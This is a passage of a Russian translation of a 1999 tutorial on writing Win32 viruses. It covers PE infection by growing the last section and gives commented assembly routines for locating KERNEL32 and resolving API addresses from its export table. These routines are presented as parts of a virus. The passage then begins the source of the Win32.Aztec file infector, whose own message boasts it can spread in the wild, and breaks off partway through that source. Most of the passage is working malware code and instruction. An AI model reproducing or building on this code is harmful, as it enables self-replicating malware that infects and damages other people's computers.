             ¦ Аттрибуты : архивный

 [...]

+ Заголовок PE +

+ Опциональный PE-заголовок +

+ Заголовки PE-секций +

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Я надеюсь, что это помогло вам понять, что мы делаем, когда заражаем PE, увеличивая его последнюю секцию. Чтобы вам не сравнивать каждую из этих таблиц друг с другом, я составил для вас следующим маленький список:

Код очень прост. Для тех, кто не понимает ничего без кода, взгляните на Win32.Aztec, который полностью объяснен в следующей главе.


Путеводитель по написанию вирусов под Win32: 4. Ring-3, программирование на уровне пользователя

4. Ring-3, программирование на уровне пользователя

Да, это правда, что уровень пользователя налагает на нас много репрессивных и фашистских ограничений на нас, ограничивающих нашу свободу, к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки - прим. пер.), это жизнь, это Micro$oft. Между прочим, это единственный путь сделать так, чтобы вирус был полностью Win32-совместимым и это среда окружения будущего, как вы должны знать. Во-первых, давайте посмотрим как получить адрес базы KERNEL32 (для Win32-совместимости) очень простым образом:

Простой способ получить адрес базы KERNEL32

Как вы знаете, когда мы запускаем приложением, код вызывается откуда-то из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в ESP). Давайте применим эти знания на практике:

;---[ CUT HERE ]-------------------------------------------------------------

        .586p                           ; Бах... просто так
        .model  flat                    ; Хехехе, я люблю 32 бита

        .data                           ; Кое-какие данные (их требует
                                        ; TASM32/TLINK32)

        db      ?

        .code

 start:
        mov     eax,[esp]               ; Теперь EAX будет равен BFF8XXXXh
                                        ; (в w9X)
                                        ; т.е. где-то внутри API
                                        ; CreateProcess :)
        ret                             ; Возвращаемся в него ;)
 end    start

;---[ CUT HERE ]-------------------------------------------------------------

Ок, это просто. У нас в EAX есть значение, примерно равно BFF8XXXX (XXXX не играет роли, нам не нужно знать его точно. Так как Win32-платформы обычно все округляют до страницы, значит заголовок KERNEL32 находится в начале страницы, и мы можем легко найти его. А как только мы найдем заголовок PE, о котором я и веду речь, мы будем знать адрес KERNEL32. Хммм, наш лимит - 50h страниц. Хехе, не беспокойтесь, далее последует некоторый код ;).

;---[ CUT HERE ]-------------------------------------------------------------

        .586p
        .model  flat

 extrn  ExitProcess:PROC

        .data

 limit  equ     5

        db      0

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ненужные и несущественные данные :)                                       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        .code

 test:
        call    delta
 delta:
        pop     ebp
        sub     ebp,offset delta

        mov     esi,[esp]
        and     esi,0FFFF0000h
        call    GetK32

        push    00000000h
        call    ExitProcess

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Грхм, я предполагаю, что вы, по крайней мере, нормальный asm-кодер, то   ;
 ; то есть знаете, что первый блок инструкций предназначается для получения ;
 ; дельта-смещения (хорошо, это не необходимо в данном примере, как бы то   ;
 ; ни было я хочу придать данному коду сходство с вирусом). Нам интересен   ;
 ; второй блок. Мы помещаем в ESI адрес, откуда было вызвано наше           ;
 ; приложение. Он находится в ESP (если мы, конечно, не трогали стек после  ;
 ; загрузки программы. Вторая инструкция, AND, получает начало страницы, из ;
 ; которой был вызван наш код. Мы вызываем нашу процедуру, после чего       ;
 ; прерываем процесс ;).                                                    ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 GetK32:

 __1:
        cmp     byte ptr [ebp+K32_Limit],00h
        jz      WeFailed

        cmp     word ptr [esi],"ZM"
        jz      CheckPE

 __2:
        sub     esi,10000h
        dec     byte ptr [ebp+K32_Limit]
        jmp     __1

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы проверяем, не превысили ли мы лимит (50 страниц). После того, ;
 ; как мы находим страницу с сигнатурой 'MZ' в начале, ищем заголовок PE.   ;
 ; Если мы его не находим, то вычитаем 10 страниц (10000h байтов), уменьшаем ;
 ; переменную лимита и ищем снова.                                          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 CheckPE:
        mov     edi,[esi+3Ch]
        add     edi,esi
        cmp     dword ptr [edi],"EP"
        jz      WeGotK32
        jmp     __2
 WeFailed:
        mov     esi,0BFF70000h
 WeGotK32:
        xchg    eax,esi
        ret

 K32_Limit      dw      limit

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Мы получаем значение по смещению 3Ch из заголовка MZ (там содержится     ;
 ; RVA-адрес начала заголовка PE), потом соотносим его с адресом страницы,  ;
 ; и если адрес памяти, находящийся по данному смещению - метка PE, мы      ;
 ; мы считаем, что нашли то, что нужно... и это действительно так! ;)       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

end     test
;---[ CUT HERE ]-------------------------------------------------------------

Рекомендация: я протестировал это у меня не было никаких проблем в Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не знаю, что может произойти, я советую вам использовать SEH, чтобы избежать возможных ошибок и синего экрана. SEH будет объяснен в последующих уроках. Хех, этот метод использовал Lord Julus в своих туториалах (для поиска GetModuleHandleA в зараженных файлах), что не очень эффективно для моих нужд, как бы то ни было, я покажу собственную версию этого кода, где объясню, что можно сделать с импортами. Например, это можно использовать в пер-процессных (per-process) резидентных вирусах с небольшими изменениями в процедуре ;).

Получить эти сумасшедшие функции API

Ring-3, как я уже говорил, это уровень пользователя, поэтому нам доступны только его немногие возможности. Мы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждению, что "Win32-платформы не могут быть подвергнуты заражению"), на том, что если они перекроют доступ ко всему, что обычно используют вирусы, они смогут победить нас. В их мечтах. Они думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история.

Ладно, как было сказано ранее, у нас есть объявленное как внешнее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилировано в код, но у нас появятся проблемы при написании вирусов. Если мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следующей версии Win32. Вы можете найти пример в Bizatch. Что нам нужно сделать? У нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. Вы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? У нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них:

1. Поиск GetProcessAddress в таблице экспортов.
2. В зараженном файле ищем среди импортированных функций GetProcAddress.

Самый простой путь - первый, который я первым и объясню :). Сначала немного теории, а потом код.

Если вы взглянете на формат заголовка PE, то увидите, что по смещению 78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. Ок, нам нужно получить адрес экспортов ядра. В Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. В Win2k у нас будет адрес 077E00000h. Поэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. Я настоятельно рекомендую ESI, потому что тогда мы можем использовать LODSD.

Мы проверяем, находится ли в начале слова "MZ" (ладно-ладно, "ZM", черт побери эту интеловскую архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. После данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещению адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещению 3Ch в PE-заголовке) и сравниваем с "PE\0\0" (сигнатурой PE).

Если все хорошо, тогда идем дальше. Нам нужен RVA таблицы экспортов. Как вы можете видеть, он находится по смещению 78h в заголовке PE - вот мы его и получили. Но как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. Все очень просто: просто добавьте смещение ядра к найденному значению. Хорошо. Теперь мы находимся в таблице экспорта :).

Давайте посмотрим ее формат:

Для нас важны последние 6 полей. Значения RVA таблицы адресов, указателей на имена и ординалов являются относительными к базе KERNEL32, как вы можете предположить. Поэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позицию его позицию в таблице. Мы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. Размер счетчика, который мы будем использовать, должен быть больше байта.

Обратите внимание: я предполагаю, что в вы сохраняете в соответствующих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов.

Ок, представьте, что мы получили имя функции API, которое нам было нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. Ладно, теперь последует самая сложная часть для начинающих в программировании под Win32. У нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. Поскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. Нижеследующая формула кратко резюмирует вышесказанное:

Местонахождение функции API: (счетчик * 2) + VA таблицы ординалов

Просто, не правда ли? Ладно, следующий шаг (и последний) заключается в том, чтобы получить адрес API-функции из таблицы адресов. У нас уже есть ординал функции. С его помощью наша жизнь изрядно упрощается. Мы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещению начала адреса таблицы адресов, который мы получили ране. Хехе, теперь у нас есть RVA адрес API-функции. Теперь мы должны нормализировать его, добавить смещение ядра и все! Мы получили его!!! Давайте посмотрим на простую математическую формулу:

Адрес API-функции: (Ординал функции*4)+VA таблицы адресов+база KERNEL32

[...] В этих таблицах больше элементов, но в качестве примера этого вполне достаточно...

Я надеюсь, что вы поняли мои объяснения. Я пытаюсь объяснить так просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. Будьте терпеливы. Я уверен, что вы все поймете. Хмм, может вам нужно сейчас немного кода, чтобы увидеть это в действии. Вот мои процедуры, которые я использовал, например, в моем вирусе Iced Earth.

;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедуры GetAPI и GetAPIs
; ---------------------------
;
; Это мои процедуры, необходимые для нахождения всех требуемых функций API...
; Они поделены на 2 части. Процедура GetAPI получает только ту функцию,
; которую мы ей указываем, а GetAPIs ищет все необходимые вирусу функции.

 GetAPI         proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ладно, поехали. Параметры, которые требуются функции и возвращаемые      ;
 ; значения следующие:                                                      ;
 ;                                                                          ;
 ; НА ВХОДЕ  . ESI : Указатель на имя функции (чувствительна к регистру)    ;
 ; НА ВЫХОДЕ . EAX : Адрес функции API
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     edx,esi                         ; Сохраняем указатель на имя
 @_1:   cmp     byte ptr [esi],0                ; Конец строки?
        jz      @_2                             ; Да, все в порядке.
        inc     esi                             ; Нет, продолжаем поиск
        jmp     @_1
 @_2:   inc     esi                             ; хех, не забудьте об этом
        sub     esi,edx                         ; ESI = размер имени функции
        mov     ecx,esi                         ; ECX = ESI :)

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Так-так-так, мои дорогие ученики. Это очень просто для понимания. У нас  ;
 ; есть указатель на начало имени функции API. Давайте представим, что мы   ;
 ; ищем FindFirstFileA:                                                     ;
 ;                                                                          ;
 ; FFFA         db   "FindFirstFileA",0                                     ;
 ;                    L- указатель здесь                                    ;
 ;                                                                          ;
 ; И нам нужно сохранить этот указатель, чтобы узнать имя функции API,      ;
 ; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,;
 ; например EDX, который мы не будем использовать, а затем повышаем значение;
 ; указателя в ESI, пока [ESI] не станет равным 0.                          ;
 ;                                                                          ;
 ; FFFA         db   "FindFirstFileA",0                                     ;
 ;                                    L- Указатель теперь здеcь             ;
 ;                                                                          ;
 ; Теперь, вычитая старый указатель от нового указателя, мы получаем размер ;
 ; имени API-функции, который требуется поисковому движку. Затем я сохраняю ;
 ; значение в ECX, другом регистре, который не будет использоваться для     ;
 ; чего-либо еще.                                                           ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        xor     eax,eax                         ; EAX = 0
        mov     word ptr [ebp+Counter],ax       ; Устанавливаем счетчик в 0

        mov     esi,[ebp+kernel]                ; Получаем смещение
                                                ; PE-заголовка KERNEL32
        add     esi,3Ch
        lodsw                                   ; в AX
        add     eax,[ebp+kernel]                ; Нормализуем его

        mov     esi,[eax+78h]                   ; Получаем RVA таблицы
                                                ; экспортов
        add     esi,[ebp+kernel]                ; Указатель на RVA таблицы
                                                ; адресов
        add     esi,1Ch

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ладно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы  ;
 ; избежать возможных ошибок. Если вы помните, для чего служит смещение 3Ch ;
 ; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. Мы  ;
 ; запрашиваем начало смещение начала PE-заголовка KERNEL32. Так как это    ;
 ; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. Теперь;
 ; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы  ;
 ; избегаем нежеланных данных структуры и напрямую получаем RVA таблицы      ;
 ; адресов.                                                                 ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        lodsd                                   ; EAX = RVA таблицы адресов
        add     eax,[ebp+kernel]                ; Нормализуем
        mov     dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA

        lodsd                                   ; EAX = Name Ptrz Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        push    eax                             ; mov [ebp+NameTableVA],eax

        lodsd                                   ; EAX = Ordinal Table RVA
        add     eax,[ebp+kernel]                ; Normalize
        mov     dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

        pop     esi                             ; ESI = Name Ptrz Table VA

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Если вы помните, у нас в ESI указатель на RVA таблицу адресов, поэтому   ;
 ; чтобы получить этот адрес мы делаем LODSD, который помещает DWORD, на    ;
 ; который указывает ESI, в приемник (в данном случае EAX). Так как это был ;
 ; RVA, мы нормализуем его.                                                 ;
 ;                                                                          ;
 ; Давайте посмотрим, что говорит Мэтт Питрек о первом поле:                ;
 ;                                                                          ;
 ; "Это поле является RVA и указывает на массив адресов функций, каждый     ;
 ; элемент которого является RVA одной из экспортируемых функций в данном   ;
 ; модуле."                                                                 ;
 ;                                                                          ;
 ; И наконец, мы сохраняем его в соответствующей переменной. Далее мы       ;
 ; должны узнать адрес таблицы указателей на имена. Мэтт Питрек объясняет   ;
 ; это следующим образом:                                                   ;
 ;                                                                          ;
 ; "Это поле - RVA и указывает на массив указателей на строки. Строки       ;
 ; являются именами экспортируемых данным модулем функций".                 ;
 ;                                                                          ;
 ; Но я не сохраняю его в переменной, а помещаю в стек, так как использую   ;
 ; его очень скоро. Ок, наконец мы переходим к таблице ординалов, вот что   ;
 ; говорит об этом Мэтт Питрек:                                             ;
 ;                                                                          ;
 ; "Это поле - RVA и оно указывает на массив WORDов. WORD'ы являются        ;
 ; ординалами всех экспортируемых функций в данном модуле".                 ;
 ;                                                                          ;
 ; Ок, это то, что мы сделали.                                              ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 @_3:   push    esi                             ; Save ESI for l8r restore
        lodsd                                   ; Get value ptr ESI in EAX
        add     eax,[ebp+kernel]                ; Normalize
        mov     esi,eax                         ; ESI = VA of API name
        mov     edi,edx                         ; EDI = ptr to wanted API
        push    ecx                             ; ECX = API size
        cld                                     ; Clear direction flag
        rep     cmpsb                           ; Compare both API names
        pop     ecx                             ; Restore ECX
        jz      @_4                             ; Jump if APIs are 100% equal
        pop     esi                             ; Restore ESI
        add     esi,4                           ; And get next value of array
        inc     word ptr [ebp+Counter]          ; Increase counter
        jmp     @_3                             ; Loop again

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Хех, это не в моем стиле помещать слишком много кода без комментариев,   ;
 ; как я поступил только что, но этот блок кода нельзя разделить без ущерба ;
 ; для его объяснения. Сначала мы помещаем ESI в стек (который будет        ;
 ; изменен инструкцией CMPSB) для последующего восстановления. После этого  ;
 ; мы получаем DWORD, на который указывает ESI (таблица указателей на       ;
 ; имена) в приемник (EAX). Все это выполняется с помощью инструкции LODSD. ;
 ; Мы нормализуем ее, добавляя адрес базы ядра. Хорошо, теперь у нас в EAX  ;
 ; находится указатель на имя одной из функций API, но мы еще не знаем, что ;
 ; это за функция. Например EAX может указывать на что-нибудь вроде         ;
 ; "CreateProcessA" и это функция для нашего вируса неинтересна... Ладно,   ;
 ; для сравния строки с той, которая нам нужна (на нее указывает EDX), у    ;
 ; нас есть CMPSB. Поэтому мы подготавливаем ее параметры: в ESI мы         ;
 ; помещаем указатель на начало сравниваемого имени функции, а в EDI -      ;
 ; нужно нам имя. В ECX мы помещаем ее размер, а затем выполняем побайтовое ;
 ; сравнение. Если обе строки совпадают друг с другом, устанавливается      ;
 ; флаг нуля и мы переходим к процедуры получения адреса этой API-функции.  ;
 ; В противном случае мы восстанавливаем ESI и добавляем к нему размер      ;
 ; DWORD, чтобы получить следующее значение в таблице указателей на имена.  ;
 ; Мы повышаем значение счетчика (ОЧЕНЬ ВАЖНО) и продолжаем поиск.          ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 @_4:   pop     esi                             ; Avoid shit in stack
        movzx   eax,word ptr [ebp+Counter]      ; Get in AX the counter
        shl     eax,1                           ; EAX = AX * 2
        add     eax,dword ptr [ebp+OrdinalTableVA] ; Normalize
        xor     esi,esi                         ; Clear ESI
        xchg    eax,esi                         ; EAX = 0, ESI = ptr to Ord
        lodsw                                   ; Get Ordinal in AX
        shl     eax,2                           ; EAX = AX * 4
        add     eax,dword ptr [ebp+AddressTableVA] ; Normalize
        mov     esi,eax                         ; ESI = ptr to Address RVA
        lodsd                                   ; EAX = Address RVA
        add     eax,[ebp+kernel]                ; Normalize and all is done.
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Пффф, еще один огромный блок кода и, похоже, не очень понятный, так      ;
 ; ведь? Не беспокойтесь, я прокомментирую его ;).                          ;
 ; Pop служит для очищения стека. Затем мы двигаем в нижнюю часть EAX       ;
 ; значение счетчика (так как это WORD) и обнуляет верхнюю вышеупомянутого  ;
 ; регистра. Мы умножаем его на два, так как массив, в котором мы будем     ;
 ; проводить поиск состоит из WORD'ов. Теперь мы добавляем к нему указатель ;
 ; на начало массива, где мы хотим искать. Поэтому мы помещаем EAX в ESI,   ;
 ; чтобы использовать этот указатель для получения значения, на которое он  ;
 ; указывает, с помощью просто LODSW. Хех, теперь у нас есть ординал, но то,;
 ; что мы хотим получить - это точка входа в код функции API, поэтому мы    ;
 ; умножаем ординал (который содержит позицию точки входа желаемой функции) ;
 ; на 4 (это размер DWORD), и у нас теперь есть значение RVA относительно   ;
 ; RVA таблицы адресов, поэтому мы производим нормализацию, а теперь в EAX  ;
 ; у нас находится указатель на значение точки входа функции API в таблице  ;
 ; адресов. Мы помещаем EAX в ESO и получаем значение, на которое указывает ;
 ; EAX. Таким образом в этом регистре находится RVA точки входа требуемой   ;
 ; API-функции. Хех, сейчас мы должны нормализовать этот адрес относительно ;
 ; базы образа KERNEL32 и вуаля - все сделано, у нас в EAX есть настоящий   ;
 ; реальный адрес функции! ;)                                               ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 GetAPI         endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 GetAPIs        proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок, это код для получения всех API-функций. У данной функции следующие   ;
 ; параметры:                                                               ;
 ;                                                                          ;
 ; INPUT  . ESI : Указатель на имя первой желаемой API-функции в формате    ;
 ;                ASCIIz                                                    ;
 ;        . EDI : Указатель на переменную, которая содержит первую желаемую ;
 ;                API-функцию                                               ;
 ; OUTPUT . Ничего                                                          ;
 ;                                                                          ;
 ; Для получения всех этих значений я буду использовать следующую структуру:;
 ;                                                                          ;
 ; ESI указывает на --. db         "FindFirstFileA",0                       ;
 ;                      db         "FindNextFileA",0                        ;
 ;                      db         "CloseHandle",0                          ;
 ;                      [...]                                               ;
 ;                      db         0BBh ; Отмечает конец массива            ;
 ;                                                                          ;
 ; EDI указывает на --. dd         00000000h ; Будущий адрес FFFA           ;
 ;                      dd         00000000h ; Будущий адрес FNFA           ;
 ;                      dd         00000000h ; Будущий адрес CH             ;
 ;                      [...]                                               ;
 ;                                                                          ;
 ; Я надеюсь, что вы достаточно умны и поняли, о чем я говорю.              ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 @@1:   push    esi
        push    edi
        call    GetAPI
        pop     edi
        pop     esi
        stosd

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Мы помещаем обрабатываемые значения в стек, чтобы избежать их возможного ;
 ; изменения, а затем вызываем процедуру GetAPI. Здесь мы предполагаем, что ;
 ; ESI указывает на имя требуемой API-функции, а EDI - это указатель на     ;
 ; переменную, которая будет содержать имя API-функции. Так как мы получаем ;
 ; смещение API-функции в EAX, мы сохраняем его значение в соответствующей  ;
 ; переменной, на которую указывае EDI с помощью STOSD.                     ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 @@2:   cmp     byte ptr [esi],0
        jz      @@3
        inc     esi
        jmp     @@2
 @@3:   cmp     byte ptr [esi+1],0BBh
        jz      @@4
        inc     esi
        jmp     @@1
 @@4:   ret
 GetAPIs        endp

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Я знаю, это можно было сделать гораздо более оптимизированно, но вполне  ;
 ; годиться в качестве примена. Ладно, сначала мы доходим до конца строки,  ;
 ; чей адрес мы запрашивали ранее, и теперь она указывает на следующую      ;
 ; API-функцию. Но нам нужно узнать, где находится последняя из них,        ;
 ; поэтому мы проверяем, не найден ли байт 0BBh (наша метка конца массива). ;
 ; Если это так, мы получили все необходимые API-функции, а если нет,       ;
 ; продолжаем поиск.                                                        ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

;---[ CUT HERE ]-------------------------------------------------------------

Хех, я сделал эти процедуру как можно проще и хорошенько их откомментировал, поэтому я ожидаю, что вы поняли суть. Если нет, то это не мои проблемы... Но теперь появляется вопрос, какие функции нам следует искать? Ниже я приведу исходный код рантаймового (времени выполнения) вируса, который использует технику файлового мэппинга (более простой и быстрый путь манипуляций и заражения файлов).

Пример вируса

Не думайте, что я сумасшедший. Я помещу здесь код вируса для того, чтобы избежать последовательного описания всех этих API-функций, а продемонстрировать их в действии :). Этот вирус - одно из моих последних созданий. Мне потребовался один день, чтобы его закончить: он основывается на Win95.Iced Earth, но без багов и специальных функций. Наслаждайтесь Win32.Aztec! (Да, Win32!!!).

;---[ CUT HERE ]-------------------------------------------------------------
; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth
; Copyright (c) 1999 by Billy Belcebu/iKX
;
; Имя вируса    : Aztec v1.01
; Автор вируса  : Billy Belcebu/iKX
; Происхождение : Испания
; Платформа     : Win32
; Мишень        : PE files
; Компилирование: TASM 5.0 и TLINK 5.0
;                       tasm32 /ml /m3 aztec,,;
;                       tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib,
;                       pewrsec aztec.exe
; Примечание    : Ничего особенного в этот раз. Просто пофиксены баги вируса
;                 Iced Earth и убраны особые возможности. Это действительно
;                 вирус для обучения.
; Почему Aztec? : Почему вирус называется именно так? Много причин:
;                 • Раз уж есть вирус Inca и вирус Maya... ;)
;                 • Я жил в Мексике шесть месяцев
;                 • Я ненавижу фашистские методы, которые использовал Кортес
;                 • для того, чтобы отбирать территории у ацтеков
;                 • Мне нравится их мифология ;)
;                 • Моя отстойная звуковая карта называется Aztec :)
;                 • Я люблю Salma Hayek! :)~
;                 • KidChaos - это друг :)
; Поздравления  : Хорошо, в этот раз поздравления только людям из EZLN и
;                 MRTA.
;
; (c) 1999 Billy Belcebu/iKX

        .386p                                   ; требуется 386+ =)
        .model  flat                            ; 32-х битные регистры без
                                                ; сегментов
        jumps                                   ; Чтобы избежать переходов за
                                                ; пределы границы

extrn   MessageBoxA:PROC                        ; Импортировано 1-ое
                                                ; поколение
extrn   ExitProcess:PROC                        ; API-функции :)

; Some equates useful for the virus

virus_size      equ     (offset virus_end-offset virus_start)
heap_size       equ     (offset heap_end-offset heap_start)
total_size      equ     virus_size+heap_size
shit_size       equ     (offset delta-offset aztec)

; Жестко задается только для первого поколения, не беспокойтесь ;)

kernel_         equ     0BFF70000h
kernel_wNT      equ     077F00000h

        .data

szTitle         db      "[Win32.Aztec v1.01]",0

szMessage       db      "Aztec is a bugfixed version of my Iced Earth",10
                db      "virus, with some optimizations and with some",10
                db      "'special' features removed. Anyway, it will",10
                db      "be able to spread in the wild succefully :)",10,10
                db      "(c) 1999 by Billy Belcebu/iKX",0

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Все это отстой: несколько макросов, чтобы сделать код более понятным,
 ; кое-что для первого поколения и т.д.
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        .code

virus_start     label   byte

aztec:
        pushad                                  ; Помещаем в стек все
                                                ; регистры
        pushfd                                  ; Помещаем в стек регистр
                                                ; флагов

        call    delta                           ; Самый сложный для понимания
                                                ; код ;)
delta:  pop     ebp
        mov     eax,ebp
        sub     ebp,offset delta

        sub     eax,shit_size                   ; Получаем базу образа на
        sub     eax,00001000h                   ; лету
NewEIP  equ     $-4
        mov     dword ptr [ebp+ModBase],eax

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок. Во-первых, я помещаю в стек все регистры и все флаги (не потому что  ;
 ; это требуется, а потому что я привык это всегда делать). Затем я делаю   ;
 ; нечто очень важное. Да! Это дельта-смещение! Мы должны получить его по   ;
 ; очень простой причине: мы не знаем где находится исполняющийся код. Я не ;
 ; буду рассказывать о дельта-смещении что-то еще, потому что я уверен, что ;
 ; вы узнали об этом все, что нужно еще во время программирования под DOS   ;
 ; ;). Ладно, теперь нам нужно получить базу образа текущего процесса. Это  ;
 ; необходимо для последующего возвращения управления носителю (что будет   ;
 ; сделано позже). Сначала мы вычитаем базы между меткой delta и aztec      ;
 ; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), после чего мы вычитаем        ;
 ; текущий EIP (пропатченный во время заражения) и вуаля! У нас есть база   ;
 ; образа.                                                                  ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     esi,[esp+24h]                   ; Получаем адрес возврата
                                                ; программы
        and     esi,0FFFF0000h                  ; Выравниваем на 10 страниц
        mov     ecx,5                           ; 50 страниц (в группах по
                                                ; 10)
